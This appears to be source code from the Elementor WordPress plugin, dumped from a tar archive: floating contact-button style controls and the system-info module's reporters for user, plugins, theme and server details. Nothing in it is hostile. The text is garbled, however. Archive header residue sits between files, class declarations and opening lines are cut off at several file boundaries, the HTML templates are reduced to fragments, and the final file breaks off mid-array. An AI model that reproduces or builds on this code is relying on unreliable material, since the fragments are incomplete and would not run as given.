$this->add_hover_animation_control( 'style_send_hover_animation', ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->add_responsive_control( 'style_chat_button_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem' ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-send-button-padding-block-end: {{BOTTOM}}{{UNIT}}; --e-contact-buttons-send-button-padding-block-start: {{TOP}}{{UNIT}}; --e-contact-buttons-send-button-padding-inline-end: {{RIGHT}}{{UNIT}}; --e-contact-buttons-send-button-padding-inline-start: {{LEFT}}{{UNIT}};', ], 'separator' => 'before', ] ); $this->end_controls_section(); } protected function chat_box_animation_controls(): void { $this->add_responsive_control( 'style_chat_box_entrance_animation', [ 'label' => esc_html__( 'Open Animation', 'elementor' ), 'type' => Controls_Manager::ANIMATION, 'frontend_available' => true, 'separator' => 'before', ] ); $this->add_responsive_control( 'style_chat_box_exit_animation', [ 'label' => esc_html__( 'Close Animation', 'elementor' ), 'type' => Controls_Manager::EXIT_ANIMATION, 'frontend_available' => true, ] ); $this->add_control( 'style_chat_box_animation_duration', [ 'label' => esc_html__( 'Animation Duration', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'normal', 'options' => [ 'slow' => esc_html__( 'Slow', 'elementor' ), 'normal' => esc_html__( 'Normal', 'elementor' ), 'fast' => esc_html__( 'Fast', 'elementor' ), ], 'prefix_class' => 'animated-', ] ); } protected function add_style_chat_box_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'style_chat_box_section', [ 'label' => $config['style']['chat_box_section']['section_name'], 'tab' => Controls_Manager::TAB_STYLE, ] ); if ( $config['style']['has_platform_colors'] ) { $this->add_control( 'style_chat_box_bg_select', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'default', 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'custom' => esc_html__( 'Custom', 'elementor' ), ], ] ); } $this->add_control( 'style_chat_box_bg_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-chat-box-bg: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_chat_box_bg_select' => 'custom', ] ), ] ); if ( $config['style']['chat_box_section']['has_width'] ) { $this->add_responsive_control( 'style_chat_box_width', [ 'label' => esc_html__( 'Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ '%' => [ 'min' => 10, 'max' => 100, ], 'px' => [ 'min' => 0, 'max' => 400, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-chat-box-width: {{SIZE}}{{UNIT}}', ], ] ); } $this->add_control( 'style_chat_box_corners', [ 'label' => esc_html__( 'Corners', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'rounded', 'options' => [ 'round' => esc_html__( 'Round', 'elementor' ), 'rounded' => esc_html__( 'Rounded', 'elementor' ), 'sharp' => esc_html__( 'Sharp', 'elementor' ), ], 'separator' => 'before', ] ); $this->add_group_control( Group_Control_Box_Shadow::get_type(), [ 'name' => 'style_chat_box_box_shadow', 'selector' => '{{WRAPPER}} .e-contact-buttons__content', ] ); if ( $config['style']['chat_box_section']['has_padding'] ) { $this->add_responsive_control( 'style_chat_box_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem' ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-chat-box-padding-block-end: {{BOTTOM}}{{UNIT}}; --e-contact-buttons-chat-box-padding-block-start: {{TOP}}{{UNIT}}; --e-contact-buttons-chat-box-padding-inline-end: {{RIGHT}}{{UNIT}}; --e-contact-buttons-chat-box-padding-inline-start: {{LEFT}}{{UNIT}};', ], ] ); } $this->chat_box_animation_controls(); $this->end_controls_section(); } protected function add_style_tab(): void { $this->add_style_chat_button_section(); $this->add_style_top_bar_section(); $this->add_style_message_bubble_section(); $this->add_style_send_button_section(); $this->add_style_chat_box_section(); } private function add_advanced_tab(): void { $config = static::get_configuration(); Controls_Manager::add_tab( static::TAB_ADVANCED, esc_html__( 'Advanced', 'elementor' ) ); if ( $config['advanced']['has_layout_position'] ) { $this->start_controls_section( 'advanced_layout_section', [ 'label' => esc_html__( 'Layout', 'elementor' ), 'tab' => static::TAB_ADVANCED, ] ); $this->add_control( 'advanced_horizontal_position', [ 'label' => esc_html__( 'Horizontal Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-h-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-h-align-center', ], 'end' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-h-align-right', ], ], 'default' => $config['advanced']['horizontal_position_default'], 'toggle' => false, ] ); if ( $config['advanced']['has_horizontal_offset'] ) { $this->add_responsive_control( 'advanced_horizontal_offset', [ 'label' => esc_html__( 'Offset', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ '%' => [ 'min' => 10, 'max' => 100, ], 'px' => [ 'min' => 0, 'max' => 100, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-horizontal-offset: {{SIZE}}{{UNIT}}', ], 'condition' => [ 'advanced_horizontal_position' => [ 'start', 'end', ], ], ] ); } $this->add_control( 'advanced_vertical_position', [ 'label' => esc_html__( 'Vertical Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'top' => [ 'title' => esc_html__( 'Top', 'elementor' ), 'icon' => 'eicon-v-align-top', ], 'middle' => [ 'title' => esc_html__( 'Middle', 'elementor' ), 'icon' => 'eicon-v-align-middle', ], 'bottom' => [ 'title' => esc_html__( 'Bottom', 'elementor' ), 'icon' => 'eicon-v-align-bottom', ], ], 'default' => 'bottom', 'toggle' => false, ] ); if ( $config['advanced']['has_vertical_offset'] ) { $this->add_responsive_control( 'advanced_vertical_offset', [ 'label' => esc_html__( 'Offset', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ '%' => [ 'min' => 10, 'max' => 100, ], 'px' => [ 'min' => 0, 'max' => 100, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-vertical-offset: {{SIZE}}{{UNIT}}', ], 'condition' => [ 'advanced_vertical_position' => [ 'top', 'bottom', ], ], ] ); } if ( $config['advanced']['has_mobile_full_width'] ) { $this->add_control( 'advanced_mobile_full_width', [ 'label' => esc_html__( 'Full Width on Mobile', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'elementor' ), 'label_off' => esc_html__( 'No', 'elementor' ), 'return_value' => 'yes', 'default' => 'yes', ] ); } $this->end_controls_section(); } $this->start_controls_section( 'advanced_responsive_section', [ 'label' => esc_html__( 'Responsive', 'elementor' ), 'tab' => static::TAB_ADVANCED, ] ); $this->add_control( 'responsive_description', [ 'raw' => __( 'Responsive visibility will take effect only on preview mode or live page, and not while editing in Elementor.', 'elementor' ), 'type' => Controls_Manager::RAW_HTML, 'content_classes' => 'elementor-descriptor', ] ); $this->add_hidden_device_controls(); $this->end_controls_section(); $this->start_controls_section( 'advanced_custom_controls_section', [ 'label' => esc_html__( 'CSS', 'elementor' ), 'tab' => static::TAB_ADVANCED, ] ); $this->add_control( 'advanced_custom_css_id', [ 'label' => esc_html__( 'CSS ID', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => '', 'ai' => [ 'active' => false, ], 'dynamic' => [ 'active' => true, ], 'title' => esc_html__( 'Add your custom id WITHOUT the Pound key. e.g: my-id', 'elementor' ), 'style_transfer' => false, ] ); $this->add_control( 'advanced_custom_css_classes', [ 'label' => esc_html__( 'CSS Classes', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => '', 'ai' => [ 'active' => false, ], 'dynamic' => [ 'active' => true, ], 'title' => esc_html__( 'Add your custom class WITHOUT the dot. e.g: my-class', 'elementor' ), ] ); $this->end_controls_section(); Plugin::$instance->controls_manager->add_custom_css_controls( $this, static::TAB_ADVANCED ); Plugin::$instance->controls_manager->add_custom_attributes_controls( $this, static::TAB_ADVANCED ); } protected function render(): void { $render_strategy = new Contact_Buttons_Core_Render( $this ); $render_strategy->render(); } } modules/floating-buttons/admin-menu-items/floating-buttons-menu-item.php000064400000001266147206604650022611 0ustar00render_callback = $render_callback; } public function render() { ( $this->render_callback )(); } } modules/floating-buttons/control/hover-animation-floating-buttons.php000064400000000662147206604650022317 0ustar00 'Grow', 'pulse' => 'Pulse', 'push' => 'Push', 'float' => 'Float', ]; } } modules/system-info/module.php000064400000021542147206604650012505 0ustar00 [], 'wordpress' => [], 'theme' => [], 'user' => [], 'plugins' => [], 'network_plugins' => [], 'mu_plugins' => [], ]; public function get_capability() { return $this->capability; } /** * Main system info page constructor. * * Initializing Elementor system info page. * * @since 2.9.0 * @access public */ public function __construct() { $this->add_actions(); } /** * Get default settings. * * Retrieve the default settings. Used to reset the report settings on * initialization. * * @since 2.9.0 * @access protected * * @return array Default settings. */ protected function get_init_settings() { $settings = []; $reporter_properties = Base::get_properties_keys(); array_push( $reporter_properties, 'category', 'name', 'class_name' ); $settings['reporter_properties'] = $reporter_properties; $settings['reportFilePrefix'] = ''; return $settings; } /** * Add actions. * * Register filters and actions for the main system info page. * * @since 2.9.0 * @access private */ private function add_actions() { add_action( 'elementor/admin/menu/register', function ( Admin_Menu_Manager $admin_menu_manager ) { $this->register_menu( $admin_menu_manager ); }, Settings::ADMIN_MENU_PRIORITY + 30 ); add_action( 'wp_ajax_elementor_system_info_download_file', [ $this, 'download_file' ] ); } /** * Register admin menu. * * Add new Elementor system info admin menu. * * Fired by `admin_menu` action. * * @since 2.9.0 * @access private */ private function register_menu( Admin_Menu_Manager $admin_menu ) { $admin_menu->register( 'elementor-system-info', new System_Info_Menu_Item( $this ) ); } /** * Display page. * * Output the content for the main system info page. * * @since 2.9.0 * @access public */ public function display_page() { $reports_info = self::get_allowed_reports(); $reports = $this->load_reports( $reports_info ); ?>

print_report( $reports, 'html' ); ?>


capability ) ) { wp_die( esc_html__( 'You do not have permission to download this file.', 'elementor' ) ); } $reports_info = self::get_allowed_reports(); $reports = $this->load_reports( $reports_info ); $domain = parse_url( site_url(), PHP_URL_HOST ); header( 'Content-Type: text/plain' ); header( 'Content-Disposition:attachment; filename=system-info-' . $domain . '-' . gmdate( 'd-m-Y' ) . '.txt' ); $this->print_report( $reports ); die; } /** * Get report class. * * Retrieve the class of the report for any given report type. * * @since 2.9.0 * @access public * * @param string $reporter_type The type of the report. * * @return string The class of the report. */ public function get_reporter_class( $reporter_type ) { return __NAMESPACE__ . '\Reporters\\' . ucfirst( $reporter_type ); } /** * Load reports. * * Retrieve the system info reports. * * @since 2.9.0 * @access public * * @param array $reports An array of system info reports. * * @return array An array of system info reports. */ public function load_reports( $reports ) { $result = []; foreach ( $reports as $report_name => $report_info ) { $reporter_params = [ 'name' => $report_name, ]; $reporter_params = array_merge( $reporter_params, $report_info ); $reporter = $this->create_reporter( $reporter_params ); if ( ! $reporter instanceof Base ) { continue; } $result[ $report_name ] = [ 'report' => $reporter, 'label' => $reporter->get_title(), ]; if ( ! empty( $report_info['sub'] ) ) { $result[ $report_name ]['sub'] = $this->load_reports( $report_info['sub'] ); } } return $result; } /** * Create a report. * * Register a new report that will be displayed in Elementor system info page. * * @param array $properties Report properties. * * @return \WP_Error|false|Base Base instance if the report was created, * False or WP_Error otherwise. *@since 2.9.0 * @access public * */ public function create_reporter( array $properties ) { $properties = Model_Helper::prepare_properties( $this->get_settings( 'reporter_properties' ), $properties ); $reporter_class = $properties['class_name'] ? $properties['class_name'] : $this->get_reporter_class( $properties['name'] ); $reporter = new $reporter_class( $properties ); if ( ! ( $reporter instanceof Base ) ) { return new \WP_Error( 'Each reporter must to be an instance or sub-instance of `Base` class.' ); } if ( ! $reporter->is_enabled() ) { return false; } return $reporter; } /** * Print report. * * Output the system info page reports using an output template. * * @since 2.9.0 * @access public * * @param array $reports An array of system info reports. * @param string $template Output type from the templates folder. Available * templates are `raw` and `html`. Default is `raw`. */ public function print_report( $reports, $template = 'raw' ) { static $tabs_count = 0; $template_path = __DIR__ . '/templates/' . $template . '.php'; require $template_path; } /** * Get allowed reports. * * Retrieve the available reports in Elementor system info page. * * @since 2.9.0 * @access public * @static * * @return array Available reports in Elementor system info page. */ public static function get_allowed_reports() { do_action( 'elementor/system_info/get_allowed_reports' ); return self::$reports; } /** * Add report. * * Register a new report to Elementor system info page. * * @since 2.9.0 * @access public * @static * * @param string $report_name The name of the report. * @param array $report_info Report info. */ public static function add_report( $report_name, $report_info ) { self::$reports[ $report_name ] = $report_info; } } modules/system-info/templates/html.php000064400000001057147206604650014161 0ustar00 $report ) : ?>
print_html(); ?>
print_html_label( ( $report['label'] ) ); ?>
$report ) : $report['report']->print_raw( $tabs_count ); if ( ! empty( $report['sub'] ) ) : $this->print_report( $report['sub'], $template, true ); endif; endforeach; $tabs_count--; modules/system-info/helpers/model-helper.php000064400000003312147206604650015232 0ustar00system_info_page = $system_info_page; } public function is_visible() { return true; } public function get_parent_slug() { return Settings::PAGE_ID; } public function get_label() { return esc_html__( 'System Info', 'elementor' ); } public function get_page_title() { return esc_html__( 'System Info', 'elementor' ); } public function get_capability() { return $this->system_info_page->get_capability(); } public function render() { $this->system_info_page->display_page(); } } modules/system-info/reporters/user.php000064400000003761147206604650014226 0ustar00ID; } /** * Get user reporter title. * * Retrieve user reporter title. * * @since 1.0.0 * @access public * * @return string Reporter title. */ public function get_title() { return 'User'; } /** * Get user report fields. * * Retrieve the required fields for the user report. * * @since 1.0.0 * @access public * * @return array Required report fields with field ID and field label. */ public function get_fields() { return [ 'role' => 'Role', 'locale' => 'WP Profile lang', 'agent' => 'User Agent', ]; } /** * Get user role. * * Retrieve the user role. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value The user role. * } */ public function get_role() { $role = null; $current_user = wp_get_current_user(); if ( ! empty( $current_user->roles ) ) { $role = $current_user->roles[0]; } return [ 'value' => $role, ]; } /** * Get user profile language. * * Retrieve the user profile language. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value User profile language. * } */ public function get_locale() { return [ 'value' => get_bloginfo( 'language' ), ]; } /** * Get user agent. * * Retrieve user agent. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value HTTP user agent. * } */ public function get_agent() { return [ 'value' => esc_html( Utils::get_super_global_value( $_SERVER, 'HTTP_USER_AGENT' ) ), ]; } } modules/system-info/reporters/plugins.php000064400000003740147206604650014726 0ustar00plugins ) { $this->plugins = Plugin::$instance->wp->get_active_plugins()->all(); } return $this->plugins; } /** * Get active plugins reporter title. * * Retrieve active plugins reporter title. * * @since 1.0.0 * @access public * * @return string Reporter title. */ public function get_title() { return 'Active Plugins'; } /** * Is enabled. * * Whether there are active plugins or not. * * @since 1.0.0 * @access public * * @return bool True if the site has active plugins, False otherwise. */ public function is_enabled() { return ! ! $this->get_plugins(); } /** * Get active plugins report fields. * * Retrieve the required fields for the active plugins report. * * @since 1.0.0 * @access public * * @return array Required report fields with field ID and field label. */ public function get_fields() { return [ 'active_plugins' => 'Active Plugins', ]; } /** * Get active plugins. * * Retrieve the sites active plugins. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value The active plugins list. * } */ public function get_active_plugins() { return [ 'value' => $this->get_plugins(), ]; } } modules/system-info/reporters/theme.php000064400000012020147206604650014336 0ustar00 'Name', 'version' => 'Version', 'author' => 'Author', 'is_child_theme' => 'Child Theme', ]; if ( $this->get_parent_theme() ) { $parent_fields = [ 'parent_name' => 'Parent Theme Name', 'parent_version' => 'Parent Theme Version', 'parent_author' => 'Parent Theme Author', ]; $fields = array_merge( $fields, $parent_fields ); } return $fields; } /** * Get theme. * * Retrieve the theme. * * @since 1.0.0 * @deprecated 3.1.0 Use `get_theme()` method instead. * @access protected * * @return \WP_Theme WordPress theme object. */ protected function _get_theme() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.1.0', 'get_theme()' ); return $this->get_theme(); } /** * Get theme. * * Retrieve the theme. * * @since 3.1.0 * @access private * * @return \WP_Theme WordPress theme object. */ private function get_theme() { if ( is_null( $this->theme ) ) { $this->theme = wp_get_theme(); } return $this->theme; } /** * Get parent theme. * * Retrieve the parent theme. * * @since 1.0.0 * @access protected * * @return \WP_Theme|false WordPress theme object, or false if the current theme is not a child theme. */ protected function get_parent_theme() { return $this->get_theme()->parent(); } /** * Get theme name. * * Retrieve the theme name. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value The theme name. * } */ public function get_name() { return [ 'value' => $this->get_theme()->get( 'Name' ), ]; } /** * Get theme author. * * Retrieve the theme author. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value The theme author. * } */ public function get_author() { return [ 'value' => $this->get_theme()->get( 'Author' ), ]; } /** * Get theme version. * * Retrieve the theme version. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value The theme version. * } */ public function get_version() { return [ 'value' => $this->get_theme()->get( 'Version' ), ]; } /** * Is the theme is a child theme. * * Whether the theme is a child theme. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value Yes if the theme is a child theme, No otherwise. * @type string $recommendation Theme source code modification recommendation. * } */ public function get_is_child_theme() { $is_child_theme = is_child_theme(); $result = [ 'value' => $is_child_theme ? 'Yes' : 'No', ]; if ( ! $is_child_theme ) { $result['recommendation'] = sprintf( /* translators: %s: WordPress child themes documentation. */ __( 'If you want to modify the source code of your theme, we recommend using a child theme.', 'elementor' ), 'https://go.elementor.com/wordpress-child-themes/' ); } return $result; } /** * Get parent theme version. * * Retrieve the parent theme version. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value The parent theme version. * } */ public function get_parent_version() { return [ 'value' => $this->get_parent_theme()->get( 'Version' ), ]; } /** * Get parent theme author. * * Retrieve the parent theme author. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value The parent theme author. * } */ public function get_parent_author() { return [ 'value' => $this->get_parent_theme()->get( 'Author' ), ]; } /** * Get parent theme name. * * Retrieve the parent theme name. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value The parent theme name. * } */ public function get_parent_name() { return [ 'value' => $this->get_parent_theme()->get( 'Name' ), ]; } } modules/system-info/reporters/server.php000064400000027005147206604650014553 0ustar00 'Operating System', 'software' => 'Software', 'mysql_version' => 'MySQL version', 'php_version' => 'PHP Version', 'php_memory_limit' => 'PHP Memory Limit', 'php_max_input_vars' => 'PHP Max Input Vars', 'php_max_post_size' => 'PHP Max Post Size', 'gd_installed' => 'GD Installed', 'zip_installed' => 'ZIP Installed', 'write_permissions' => 'Write Permissions', 'elementor_library' => 'Elementor Library', ]; } /** * Get server operating system. * * Retrieve the server operating system. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value Server operating system. * } */ public function get_os() { return [ 'value' => PHP_OS, ]; } /** * Get server software. * * Retrieve the server software. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value Server software. * } */ public function get_software() { return [ 'value' => Utils::get_super_global_value( $_SERVER, 'SERVER_SOFTWARE' ), ]; } /** * Get PHP version. * * Retrieve the PHP version. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value PHP version. * @type string $recommendation Minimum PHP version recommendation. * @type bool $warning Whether to display a warning. * } */ public function get_php_version() { $result = [ 'value' => PHP_VERSION, ]; $recommended_php_version = '7.4'; if ( version_compare( $result['value'], $recommended_php_version, '<' ) ) { $result['recommendation'] = sprintf( /* translators: %s: Recommended PHP version. */ esc_html__( 'We recommend using PHP version %s or higher.', 'elementor' ), $recommended_php_version ); $result['warning'] = true; } return $result; } /** * Get PHP memory limit. * * Retrieve the PHP memory limit. * * @return array { * Report data. * * @type string $value PHP memory limit. * @type string $recommendation Recommendation memory limit. * @type bool $warning Whether to display a warning. True if the limit * is below the recommended 128M, False otherwise. * } */ public function get_php_memory_limit() { $result = [ 'value' => (string) ini_get( 'memory_limit' ), ]; $min_recommended_memory = '128M'; $preferred_memory = '256M'; $memory_limit_bytes = wp_convert_hr_to_bytes( $result['value'] ); $min_recommended_bytes = wp_convert_hr_to_bytes( $min_recommended_memory ); if ( $memory_limit_bytes < $min_recommended_bytes ) { $result['recommendation'] = sprintf( /* translators: 1: Minimum recommended_memory, 2: Preferred memory, 3: WordPress wp-config memory documentation. */ __( 'We recommend setting memory to at least %1$s. (%2$s or higher is preferred) For more information, read about how to increase memory allocated to PHP.', 'elementor' ), $min_recommended_memory, $preferred_memory, 'https://go.elementor.com/wordpress-wp-config-memory/' ); $result['warning'] = true; } return $result; } /** * Get PHP `max_input_vars`. * * Retrieve the value of `max_input_vars` from `php.ini` configuration file. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value PHP `max_input_vars`. * } */ public function get_php_max_input_vars() { return [ 'value' => ini_get( 'max_input_vars' ), ]; } /** * Get PHP `post_max_size`. * * Retrieve the value of `post_max_size` from `php.ini` configuration file. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value PHP `post_max_size`. * } */ public function get_php_max_post_size() { return [ 'value' => ini_get( 'post_max_size' ), ]; } /** * Get GD installed. * * Whether the GD extension is installed. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value Yes if the GD extension is installed, No otherwise. * @type bool $warning Whether to display a warning. True if the GD extension is installed, False otherwise. * } */ public function get_gd_installed() { $gd_installed = extension_loaded( 'gd' ); return [ 'value' => $gd_installed ? 'Yes' : 'No', 'warning' => ! $gd_installed, ]; } /** * Get ZIP installed. * * Whether the ZIP extension is installed. * * @since 2.1.0 * @access public * * @return array { * Report data. * * @type string $value Yes if the ZIP extension is installed, No otherwise. * @type bool $warning Whether to display a warning. True if the ZIP extension is installed, False otherwise. * } */ public function get_zip_installed() { $zip_installed = extension_loaded( 'zip' ); return [ 'value' => $zip_installed ? 'Yes' : 'No', 'warning' => ! $zip_installed, ]; } /** * Get MySQL version. * * Retrieve the MySQL version. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value MySQL version. * } */ public function get_mysql_version() { global $wpdb; $db_server_version = $wpdb->get_results( "SHOW VARIABLES WHERE `Variable_name` IN ( 'version_comment', 'innodb_version' )", OBJECT_K ); $db_server_version_string = $db_server_version['version_comment']->Value . ' v'; // On some hosts, `innodb_version` is empty, in PHP 8.1. if ( isset( $db_server_version['innodb_version'] ) ) { $db_server_version_string .= $db_server_version['innodb_version']->Value; } else { $db_server_version_string .= $wpdb->get_var( 'SELECT VERSION() AS version' ); } return [ 'value' => $db_server_version_string, ]; } /** * Get write permissions. * Check whether the required paths for have writing permissions. * * @since 1.9.0 * @access public * * @return array { * Report data. * * @type string $value Writing permissions status. * @type bool $warning Whether to display a warning. True if some required * folders don't have writing permissions, False otherwise. * } */ public function get_write_permissions() : array { $paths_to_check = [ static::KEY_PATH_HTACCESS_FILE => $this->get_system_path( static::KEY_PATH_HTACCESS_FILE ), static::KEY_PATH_UPLOADS_DIR => $this->get_system_path( static::KEY_PATH_UPLOADS_DIR ), static::KEY_PATH_ELEMENTOR_UPLOADS_DIR => $this->get_system_path( static::KEY_PATH_ELEMENTOR_UPLOADS_DIR ), ]; $paths_permissions = $this->get_paths_permissions( $paths_to_check ); $write_problems = []; if ( ! $paths_permissions[ static::KEY_PATH_UPLOADS_DIR ]['write'] ) { $write_problems[] = 'WordPress uploads directory'; } if ( $paths_permissions[ self::KEY_PATH_ELEMENTOR_UPLOADS_DIR ]['exists'] && ! $paths_permissions[ self::KEY_PATH_ELEMENTOR_UPLOADS_DIR ]['write'] ) { $write_problems[] = 'Elementor uploads directory'; } if ( $paths_permissions[ self::KEY_PATH_HTACCESS_FILE ]['exists'] && ! $paths_permissions[ self::KEY_PATH_HTACCESS_FILE ]['write'] ) { $write_problems[] = '.htaccess file'; } if ( $write_problems ) { $value = 'There are some writing permissions issues with the following directories/files:' . "\n\t\t - "; $value .= implode( "\n\t\t - ", $write_problems ); } else { $value = 'All right'; } return [ 'value' => $value, 'warning' => ! ! $write_problems, ]; } /** * Check for elementor library connectivity. * * Check whether the remote elementor library is reachable. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value The status of elementor library connectivity. * @type bool $warning Whether to display a warning. True if elementor * * library is not reachable, False otherwise. * } */ public function get_elementor_library() { $response = wp_remote_get( Api::$api_info_url, [ 'timeout' => 5, 'body' => [ // Which API version is used 'api_version' => ELEMENTOR_VERSION, // Which language to return 'site_lang' => get_bloginfo( 'language' ), ], ] ); if ( is_wp_error( $response ) ) { return [ 'value' => 'Not connected (' . $response->get_error_message() . ')', 'warning' => true, ]; } $http_response_code = wp_remote_retrieve_response_code( $response ); if ( 200 !== (int) $http_response_code ) { $error_msg = 'HTTP Error (' . $http_response_code . ')'; return [ 'value' => 'Not connected (' . $error_msg . ')', 'warning' => true, ]; } $info_data = json_decode( wp_remote_retrieve_body( $response ), true ); if ( empty( $info_data ) ) { return [ 'value' => 'Not connected (Returns invalid JSON)', 'warning' => true, ]; } return [ 'value' => 'Connected', ]; } /** * @param $paths [] Paths to check permissions. * @return array []{exists: bool, read: bool, write: bool, execute: bool} */ public function get_paths_permissions( $paths ) : array { $permissions = []; foreach ( $paths as $key_path => $path ) { $permissions[ $key_path ] = $this->get_path_permissions( $path ); } return $permissions; } /** * Get path by path key. * * @param $path_key * @return string */ public function get_system_path( $path_key ) : string { switch ( $path_key ) { case static::KEY_PATH_WP_CONTENT_DIR: return WP_CONTENT_DIR; case static::KEY_PATH_HTACCESS_FILE: return file_exists( ABSPATH . '/.htaccess' ) ? ABSPATH . '/.htaccess' : ''; case static::KEY_PATH_UPLOADS_DIR: return wp_upload_dir()['basedir'] ?? ''; case static::KEY_PATH_ELEMENTOR_UPLOADS_DIR: if ( empty( wp_upload_dir()['basedir'] ) ) { return ''; } $elementor_uploads_dir = wp_upload_dir()['basedir'] . '/elementor'; return is_dir( $elementor_uploads_dir ) ? $elementor_uploads_dir : ''; default: return ''; } } /** * Check the permissions of a path. * * @param $path * @return array{exists: bool, read: bool, write: bool, execute: bool} */ public function get_path_permissions( $path ) : array { if ( empty( $path ) ) { return [ 'exists' => false, 'read' => false, 'write' => false, 'execute' => false, ]; } return [ 'exists' => true, 'read' => is_readable( $path ), 'write' => is_writeable( $path ), 'execute' => is_executable( $path ), ]; } } modules/system-info/reporters/base.php000064400000012511147206604650014153 0ustar00get_report( 'html' ) as $field ) { $warning_class = ! empty( $field['warning'] ) ? ' class="elementor-warning"' : ''; $log_label = ! empty( $field['label'] ) ? $field['label'] . ':' : ''; ?> > get_report( 'raw' ); echo PHP_EOL . $indent . '== ' . $this->get_title() . ' =='; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped echo PHP_EOL; foreach ( $report as $field_name => $field ) : $sub_indent = str_repeat( "\t", $tabs_count ); $label = $field['label']; if ( ! empty( $label ) ) { $label .= ': '; } echo "{$sub_indent}{$label}{$field['value']}" . PHP_EOL; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped endforeach; } /** * Get report. * * Retrieve the report with all it's containing fields. * * @since 2.9.0 * @access public * * @return \WP_Error | array { * Report fields. * * @type string $name Field name. * @type string $label Field label. * } */ final public function get_report( $format = '' ) { $result = []; $format = ( empty( $format ) ) ? '' : $format . '_'; foreach ( $this->get_fields() as $field_name => $field_label ) { $method = 'get_' . $format . $field_name; if ( ! method_exists( $this, $method ) ) { $method = 'get_' . $field_name; //fallback: if ( ! method_exists( $this, $method ) ) { return new \WP_Error( sprintf( "Getter method for the field '%s' wasn't found in %s.", $field_name, get_called_class() ) ); } } $reporter_field = [ 'name' => $field_name, 'label' => $field_label, ]; $reporter_field = array_merge( $reporter_field, $this->$method() ); $result[ $field_name ] = $reporter_field; } return $result; } /** * Get properties keys. * * Retrieve the keys of the properties. * * @since 2.9.0 * @access public * @static * * @return array { * Property keys. * * @type string $name Property name. * @type string $fields Property fields. * } */ public static function get_properties_keys() { return [ 'name', 'format', 'fields', ]; } /** * Filter possible properties. * * Retrieve possible properties filtered by property keys. * * @since 2.9.0 * @access public * @static * * @param array $properties Properties to filter. * * @return array Possible properties filtered by property keys. */ final public static function filter_possible_properties( $properties ) { return Model_Helper::filter_possible_properties( self::get_properties_keys(), $properties ); } /** * Set properties. * * Add/update properties to the report. * * @since 2.9.0 * @access public * * @param array $key Property key. * @param array $value Optional. Property value. Default is `null`. */ final public function set_properties( $key, $value = null ) { if ( is_array( $key ) ) { $key = self::filter_possible_properties( $key ); foreach ( $key as $sub_key => $sub_value ) { $this->set_properties( $sub_key, $sub_value ); } return; } if ( ! in_array( $key, self::get_properties_keys(), true ) ) { return; } $this->_properties[ $key ] = $value; } /** * Reporter base constructor. * * Initializing the reporter base class. * * @since 2.9.0 * @access public * * @param array $properties Optional. Properties to filter. Default is `null`. */ public function __construct( $properties = null ) { $this->_properties = array_fill_keys( self::get_properties_keys(), null ); if ( $properties ) { $this->set_properties( $properties, null ); } } } modules/system-info/reporters/wordpress.php000064400000012544147206604650015277 0ustar00 'Version', 'site_url' => 'Site URL', 'home_url' => 'Home URL', 'is_multisite' 